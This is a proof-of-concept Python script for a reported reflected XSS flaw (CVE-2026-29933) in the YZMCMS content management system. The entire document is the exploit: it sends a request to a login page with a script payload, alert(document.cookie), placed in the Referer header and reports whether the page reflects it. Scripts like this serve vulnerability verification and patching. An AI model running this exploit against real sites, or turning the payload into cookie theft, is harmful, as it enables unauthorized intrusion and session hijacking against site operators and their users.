CVE-2026-29933 YZMCMS反射型XSS漏洞

import requests # Target URL (Vulnerable component) target_url = "http://example.com/index/login.html" # Malicious payload injected into the Referer header # The application fails to sanitize this header, leading to XSS headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Referer": "<script>alert(document.cookie)</script>" } try: # Send GET request with the malicious header response = requests.get(target_url, headers=headers) # Check if the payload is reflected in the response body if "<script>alert(document.cookie)</script>" in response.text: print("[+] Vulnerability Confirmed: Reflected XSS via Referer header.") else: print("[-] Vulnerability not confirmed or payload blocked.") except Exception as e: print(f"[!] Error occurred: {e}")